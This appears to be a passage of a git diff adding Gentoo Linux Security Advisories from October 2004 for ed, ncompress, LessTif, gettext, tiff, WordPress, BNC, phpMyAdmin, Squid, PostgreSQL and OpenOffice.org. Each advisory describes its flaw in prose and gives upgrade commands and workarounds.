+    ed is a line-oriented text editor, used to create or modify text files,
+    both interactively and via shell scripts.
+    </p>
+  </background>
+  <description>
+    <p>
+    ed insecurely creates temporary files in world-writeable directories with
+    predictable names. Given that ed is used in various system shell scripts,
+    they are by extension affected by the same vulnerability.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could create symbolic links in the temporary files
+    directory, pointing to a valid file somewhere on the filesystem. When ed is
+    called, this would result in file access with the rights of the user
+    running the utility, which could be the root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ed users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=sys-apps/ed-0.2-r4"
+    # emerge ">=sys-apps/ed-0.2-r4"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1137">CVE-2000-1137</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri,  8 Oct 2004 21:10:12 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri,  8 Oct 2004 21:10:49 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat,  9 Oct 2004 09:43:17 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200410-08.xml b/xml/htdocs/security/en/glsa/glsa-200410-08.xml
new file mode 100644
index 00000000..d9e7e5de
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200410-08.xml
@@ -0,0 +1,76 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200410-08">
+  <title>ncompress: Buffer overflow</title>
+  <synopsis>
+    compress and uncompress, which could be used by daemon programs, contain a
+    buffer overflow that could lead to remote execution of arbitrary code with
+    the rights of the daemon process.
+  </synopsis>
+  <product type="ebuild">ncompress</product>
+  <announced>October 09, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>66251</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-arch/ncompress" auto="yes" arch="*">
+      <unaffected range="ge">4.2.4-r1</unaffected>
+      <vulnerable range="le">4.2.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ncompress is a utility handling compression and decompression of
+    Lempel-Ziv archives, compatible with the original *nix compress and
+    uncompress utilities (.Z extensions).
+    </p>
+  </background>
+  <description>
+    <p>
+    compress and uncompress do not properly check bounds on command line
+    options, including the filename. Large parameters would trigger a
+    buffer overflow.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By supplying a carefully crafted filename or other option, an attacker
+    could execute arbitrary code on the system. A local attacker could only
+    execute code with his own rights, but since compress and uncompress are
+    called by various daemon programs, this might also allow a remote
+    attacker to execute code with the rights of the daemon making use of
+    ncompress.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ncompress users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=app-arch/ncompress-4.2.4-r1&quot;
+    # emerge &quot;&gt;=app-arch/ncompress-4.2.4-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.kb.cert.org/vuls/id/176363">US-CERT Vulnerability Note VU#176363</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1413">CVE-2001-1413</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri,  8 Oct 2004 21:09:39 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri,  8 Oct 2004 21:11:15 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat,  9 Oct 2004 10:24:20 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200410-09.xml b/xml/htdocs/security/en/glsa/glsa-200410-09.xml
new file mode 100644
index 00000000..4673dfd3
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200410-09.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200410-09">
+  <title>LessTif: Integer and stack overflows in libXpm</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in libXpm, which is included
+    in LessTif, that can potentially lead to remote code execution.
+  </synopsis>
+  <product type="ebuild">lesstif</product>
+  <announced>October 09, 2004</announced>
+  <revised>October 09, 2004: 01</revised>
+  <bug>66647</bug>
+  <access>remote</access>
+  <affected>
+    <package name="x11-libs/lesstif" auto="yes" arch="*">
+      <unaffected range="ge">0.93.97</unaffected>
+      <vulnerable range="lt">0.93.97</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    LessTif is a clone of OSF/Motif, which is the standard user interface
+    toolkit available on Unix and Linux.
+    </p>
+  </background>
+  <description>
+    <p>
+    Chris Evans has discovered various integer and stack overflows in libXpm,
+    which is shipped as a part of the X Window System. LessTif, an application
+    that includes this library, is susceptible to the same issues.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A carefully-crafted XPM file could crash applications that are linked
+    against libXpm, such as LessTif, potentially allowing the execution of
+    arbitrary code with the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All LessTif users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=x11-libs/lesstif-0.93.97"
+    # emerge ">=x11-libs/lesstif-0.93.97"</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0687">CAN-2004-0687</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0688">CAN-2004-0688</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200409-34.xml">GLSA-200409-34</uri>
+    <uri link="http://www.lesstif.org/ReleaseNotes.html">LessTif Release Notes</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Fri,  8 Oct 2004 16:33:39 +0000">
+    lewk
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat,  9 Oct 2004 05:48:24 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200410-10.xml b/xml/htdocs/security/en/glsa/glsa-200410-10.xml
new file mode 100644
index 00000000..b17382f5
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200410-10.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200410-10">
+  <title>gettext: Insecure temporary file handling</title>
+  <synopsis>
+    The gettext utility is vulnerable to symlink attacks, potentially allowing
+    a local user to overwrite or change permissions on arbitrary files with the
+    rights of the user running gettext, which could be the root user.
+  </synopsis>
+  <product type="ebuild">gettext</product>
+  <announced>October 10, 2004</announced>
+  <revised>May 22, 2006: 04</revised>
+  <bug>66355</bug>
+  <bug>85766</bug>
+  <access>local</access>
+  <affected>
+    <package name="sys-devel/gettext" auto="yes" arch="*">
+      <unaffected range="ge">0.14.1-r1</unaffected>
+      <unaffected range="rge">0.12.1-r2</unaffected>
+      <vulnerable range="lt">0.14.1-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    gettext is a set of utilities for the GNU Translation Project which
+    provides a set of tools and documentation to help produce multi-lingual
+    messages in programs.
+    </p>
+  </background>
+  <description>
+    <p>
+    gettext insecurely creates temporary files in world-writeable
+    directories with predictable names.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    A local attacker could create symbolic links in the temporary files
+    directory, pointing to a valid file somewhere on the filesystem. When
+    gettext is called, this would result in file access with the rights of
+    the user running the utility, which could be the root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All gettext users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-devel/gettext-0.14.1-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.securityfocus.com/advisories/7263">BugTraq Advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0966">CVE-2004-0966</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 10 Oct 2004 10:51:13 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 10 Oct 2004 10:51:21 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 10 Oct 2004 21:46:28 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200410-11.xml b/xml/htdocs/security/en/glsa/glsa-200410-11.xml
new file mode 100644
index 00000000..c4e42bfb
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200410-11.xml
@@ -0,0 +1,84 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200410-11">
+  <title>tiff: Buffer overflows in image decoding</title>
+  <synopsis>
+    Multiple heap-based overflows have been found in the tiff library image
+    decoding routines, potentially allowing to execute arbitrary code with the
+    rights of the user viewing a malicious image.
+  </synopsis>
+  <product type="ebuild">tiff</product>
+  <announced>October 13, 2004</announced>
+  <revised>October 13, 2004: 01</revised>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/tiff" auto="yes" arch="*">
+      <unaffected range="ge">3.6.1-r2</unaffected>
+      <vulnerable range="lt">3.6.1-r2</vulnerable>
+    </package>
+    <package name="media-gfx/xv" auto="yes" arch="*">
+      <unaffected range="ge">3.10a-r8</unaffected>
+      <vulnerable range="le">3.10a-r7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The tiff library contains encoding and decoding routines for the Tag Image
+    File Format. It is called by numerous programs, including GNOME and KDE, to
+    help in displaying TIFF images. xv is a multi-format image manipulation
+    utility that is statically linked to the tiff library.
+    </p>
+  </background>
+  <description>
+    <p>
+    Chris Evans found heap-based overflows in RLE decoding routines in
+    tif_next.c, tif_thunder.c and potentially tif_luv.c.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to view a carefully crafted TIFF
+    image file, which would potentially lead to execution of arbitrary code
+    with the rights of the user viewing the image. This affects any program
+    that makes use of the tiff library, including GNOME and KDE web browsers or
+    mail readers.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All tiff library users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=media-libs/tiff-3.6.1-r2"
+    # emerge ">=media-libs/tiff-3.6.1-r2"</code>
+    <p>
+    xv makes use of the tiff library and needs to be recompiled to receive the
+    new patched version of the library. All xv users should also upgrade to the
+    latest version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=media-gfx/xv-3.10a-r8"
+    # emerge ">=media-gfx/xv-3.10a-r8"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0803">CAN-2004-0803</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 11 Oct 2004 13:05:01 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 13 Oct 2004 14:38:12 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200410-12.xml b/xml/htdocs/security/en/glsa/glsa-200410-12.xml
new file mode 100644
index 00000000..2887a46a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200410-12.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200410-12">
+  <title>WordPress: HTTP response splitting and XSS vulnerabilities</title>
+  <synopsis>
+    WordPress contains HTTP response splitting and cross-site scripting
+    vulnerabilities.
+  </synopsis>
+  <product type="ebuild">wordpress</product>
+  <announced>October 14, 2004</announced>
+  <revised>May 22, 2006: 04</revised>
+  <bug>65798</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/wordpress" auto="yes" arch="*">
+      <unaffected range="ge">1.2.2</unaffected>
+      <vulnerable range="lt">1.2.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    WordPress is a PHP and MySQL based content management and publishing
+    system.
+    </p>
+  </background>
+  <description>
+    <p>
+    Due to the lack of input validation in the administration panel
+    scripts, WordPress is vulnerable to HTTP response splitting and
+    cross-site scripting attacks.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    A malicious user could inject arbitrary response data, leading to
+    content spoofing, web cache poisoning and other cross-site scripting or
+    HTTP response splitting attacks. This could result in compromising the
+    victim's data or browser.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All WordPress users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/wordpress-1.2.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://wordpress.org/development/2004/12/one-point-two-two/">WordPress 1.2.2 Release Notes</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1584">CVE-2004-1584</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 12 Oct 2004 11:43:21 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 12 Oct 2004 11:44:27 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 12 Oct 2004 21:40:26 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200410-13.xml b/xml/htdocs/security/en/glsa/glsa-200410-13.xml
new file mode 100644
index 00000000..b2d4ea98
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200410-13.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200410-13">
+  <title>BNC: Input validation flaw</title>
+  <synopsis>
+    BNC contains an input validation flaw which might allow a remote attacker
+    to issue arbitrary IRC related commands.
+  </synopsis>
+  <product type="ebuild">bnc</product>
+  <announced>October 15, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>66912</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-irc/bnc" auto="yes" arch="*">
+      <unaffected range="ge">2.8.9</unaffected>
+      <vulnerable range="lt">2.8.9</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    BNC is an IRC proxying server
+    </p>
+  </background>
+  <description>
+    <p>
+    A flaw exists in the input parsing of BNC where part of the
+    sbuf_getmsg() function handles the backspace character incorrectly.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote user could issue commands using fake authentication
+    credentials and possibly gain access to scripts running on the client
+    side.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All BNC users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=net-irc/bnc-2.8.9&quot;
+    # emerge &quot;&gt;=net-irc/bnc-2.8.9&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.gotbnc.com/changes.html#2.8.9">BNC Changes</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1482">CVE-2004-1482</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 12 Oct 2004 11:44:17 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 12 Oct 2004 11:44:35 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 13 Oct 2004 08:51:33 +0000">
+    vorlon078
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200410-14.xml b/xml/htdocs/security/en/glsa/glsa-200410-14.xml
new file mode 100644
index 00000000..6e331245
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200410-14.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200410-14">
+  <title>phpMyAdmin: Vulnerability in MIME-based transformation system</title>
+  <synopsis>
+    A vulnerability has been found in the MIME-based transformation system of
+    phpMyAdmin, which may allow remote execution of arbitrary commands if PHP's
+    "safe mode" is disabled.
+  </synopsis>
+  <product type="ebuild">phpMyAdmin</product>
+  <announced>October 18, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>67409</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-db/phpmyadmin" auto="yes" arch="*">
+      <unaffected range="ge">2.6.0_p2</unaffected>
+      <vulnerable range="lt">2.6.0_p2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    phpMyAdmin is a popular web-based MySQL administration tool written in
+    PHP. It allows users to browse and administer a MySQL database from a
+    web-browser. Transformations are a phpMyAdmin feature allowing plug-ins
+    to rewrite the contents of any column seen in phpMyAdmin's Browsing
+    mode, including using insertion of PHP or JavaScript code.
+    </p>
+  </background>
+  <description>
+    <p>
+    A defect was found in phpMyAdmin's MIME-based transformation system,
+    when used with "external" transformations.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could exploit this vulnerability to execute arbitrary
+    commands on the server with the rights of the HTTP server user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Enabling PHP safe mode ("safe_mode = On" in php.ini) may serve as a
+    temporary workaround.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All phpMyAdmin users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=dev-db/phpmyadmin-2.6.0_p2&quot;
+    # emerge &quot;&gt;=dev-db/phpmyadmin-2.6.0_p2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://sourceforge.net/forum/forum.php?forum_id=414281">phpMyAdmin 2.6.0_pl2 Release Announcement</uri>
+    <uri link="http://secunia.com/advisories/12813/">Secunia Advisory SA12813</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2630">CVE-2004-2630</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 14 Oct 2004 19:19:23 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 16 Oct 2004 10:34:28 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 17 Oct 2004 17:40:28 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200410-15.xml b/xml/htdocs/security/en/glsa/glsa-200410-15.xml
new file mode 100644
index 00000000..8dd7093c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200410-15.xml
@@ -0,0 +1,82 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200410-15">
+  <title>Squid: Remote DoS vulnerability</title>
+  <synopsis>
+    Squid contains a vulnerability in the SNMP module which may lead to a
+    denial of service.
+  </synopsis>
+  <product type="ebuild">squid</product>
+  <announced>October 18, 2004</announced>
+  <revised>December 30, 2007: 03</revised>
+  <bug>67167</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-proxy/squid" auto="yes" arch="*">
+      <unaffected range="ge">2.5.7</unaffected>
+      <vulnerable range="lt">2.5.7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Squid is a full-featured Web proxy cache designed to run on Unix
+    systems. It supports proxying and caching of HTTP, FTP, and other URLs,
+    as well as SSL support, cache hierarchies, transparent caching, access
+    control lists and many other features.
+    </p>
+  </background>
+  <description>
+    <p>
+    A parsing error exists in the SNMP module of Squid where a
+    specially-crafted UDP packet can potentially cause the server to
+    restart, closing all current connections. This vulnerability only
+    exists in versions of Squid compiled with the 'snmp' USE flag.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker can repeatedly send these malicious UDP packets to the
+    Squid server, leading to a denial of service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Disable SNMP support or filter the port that has SNMP processing
+    (default is 3401) to allow only SNMP data from trusted hosts.
+    </p>
+    <p>
+    To disable SNMP support put the entry snmp_port 0 in the squid.conf
+    configuration file.
+    </p>
+    <p>
+    To allow only the local interface to process SNMP, add the entry
+    "snmp_incoming_address 127.0.0.1" in the squid.conf configuration file.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Squid users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=net-proxy/squid-2.5.7&quot;
+    # emerge &quot;&gt;=net-proxy/squid-2.5.7&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.idefense.com/application/poi/display?id=152&amp;type=vulnerabilities&amp;flashstatus=true">iDEFENSE Advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0918">CVE-2004-0918</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 17 Oct 2004 17:38:48 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 17 Oct 2004 17:38:55 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 17 Oct 2004 18:44:11 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200410-16.xml b/xml/htdocs/security/en/glsa/glsa-200410-16.xml
new file mode 100644
index 00000000..0bf02a47
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200410-16.xml
@@ -0,0 +1,80 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200410-16">
+  <title>PostgreSQL: Insecure temporary file use in make_oidjoins_check</title>
+  <synopsis>
+    The make_oidjoins_check script, part of the PostgreSQL package, is
+    vulnerable to symlink attacks, potentially allowing a local user to
+    overwrite arbitrary files with the rights of the user running the utility.
+  </synopsis>
+  <product type="ebuild">PostgreSQL</product>
+  <announced>October 18, 2004</announced>
+  <revised>May 28, 2009: 04</revised>
+  <bug>66371</bug>
+  <access>local</access>
+  <affected>
+    <package name="dev-db/postgresql" auto="yes" arch="*">
+      <unaffected range="ge">7.4.5-r2</unaffected>
+      <unaffected range="rge">7.3.7-r2</unaffected>
+      <unaffected range="rge">7.3.15</unaffected>
+      <unaffected range="rge">7.3.16</unaffected>
+      <unaffected range="rge">7.3.18</unaffected>
+      <unaffected range="rge">7.3.21</unaffected>
+      <vulnerable range="le">7.4.5-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PostgreSQL is an open source database based on the POSTGRES database
+    management system. It includes several contributed scripts including
+    the make_oidjoins_check script.
+    </p>
+  </background>
+  <description>
+    <p>
+    The make_oidjoins_check script insecurely creates temporary files in
+    world-writeable directories with predictable names.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could create symbolic links in the temporary files
+    directory, pointing to a valid file somewhere on the filesystem. When
+    make_oidjoins_check is called, this would result in file overwrite with
+    the rights of the user running the utility, which could be the root
+    user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PostgreSQL users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=dev-db/postgresql-7.4.5-r2&quot;
+    # emerge &quot;&gt;=dev-db/postgresql-7.4.5-r2&quot;</code>
+    <p>
+    Upgrade notes: PostgreSQL 7.3.x users should upgrade to the latest
+    available 7.3.x version to retain database compatibility.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://www.trustix.org/errata/2004/0050/">Trustix Advisory #2004-0050</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0977">CVE-2004-0977</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 18 Oct 2004 13:31:59 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 18 Oct 2004 13:32:56 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200410-17.xml b/xml/htdocs/security/en/glsa/glsa-200410-17.xml
new file mode 100644
index 00000000..b006688b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200410-17.xml
@@ -0,0 +1,102 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200410-17">
+  <title>OpenOffice.org: Temporary files disclosure</title>
+  <synopsis>
+    OpenOffice.org uses insecure temporary files which could allow a malicious
+    local user to gain knowledge of sensitive information from other users'
+    documents.
+  </synopsis>
+  <product type="ebuild">openoffice</product>
+  <announced>October 20, 2004</announced>
+  <revised>October 20, 2004: 01</revised>
+  <bug>63556</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-office/openoffice" auto="yes" arch="*">
+      <unaffected range="lt">1.1.2</unaffected>
+      <unaffected range="ge">1.1.3</unaffected>
+      <vulnerable range="eq">1.1.2</vulnerable>
+    </package>
+    <package name="app-office/openoffice-bin" auto="yes" arch="*">
+      <unaffected range="lt">1.1.2</unaffected>
+      <unaffected range="ge">1.1.3</unaffected>
+      <vulnerable range="eq">1.1.2</vulnerable>
+    </package>
+    <package name="app-office/openoffice-ximian" auto="yes" arch="*">
+      <unaffected range="lt">1.1.60</unaffected>
+      <unaffected range="ge">1.3.4</unaffected>
+      <vulnerable range="eq">1.1.60</vulnerable>
+      <vulnerable range="eq">1.1.61</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenOffice.org is an office productivity suite, including word processing,
+    spreadsheets, presentations, drawings, data charting, formula editing, and
+    file conversion facilities.
+    </p>
+  </background>
+  <description>
+    <p>
+    On start-up, OpenOffice.org 1.1.2 creates a temporary directory with
+    insecure permissions. When a document is saved, a compressed copy of it can
+    be found in that directory.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    A malicious local user could obtain the temporary files and thus read
+    documents belonging to other users.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All affected OpenOffice.org users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=app-office/openoffice-1.1.3"
+    # emerge ">=app-office/openoffice-1.1.3"</code>
+    <p>
+    All affected OpenOffice.org binary users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=app-office/openoffice-bin-1.1.3"
+    # emerge ">=app-office/openoffice-bin-1.1.3"</code>
+    <p>
+    All affected OpenOffice.org Ximian users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=app-office/openoffice-ximian-1.3.4"
+    # emerge ">=app-office/openoffice-1.3.4"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0752">CAN-2004-0752</uri>
+    <uri link="http://www.openoffice.org/issues/show_bug.cgi?id=33357">OpenOffice.org Issue 33357</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 18 Oct 2004 17:29:15 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 19 Oct 2004 09:04:12 +0000">
+    vorlon078
+  </metadata>
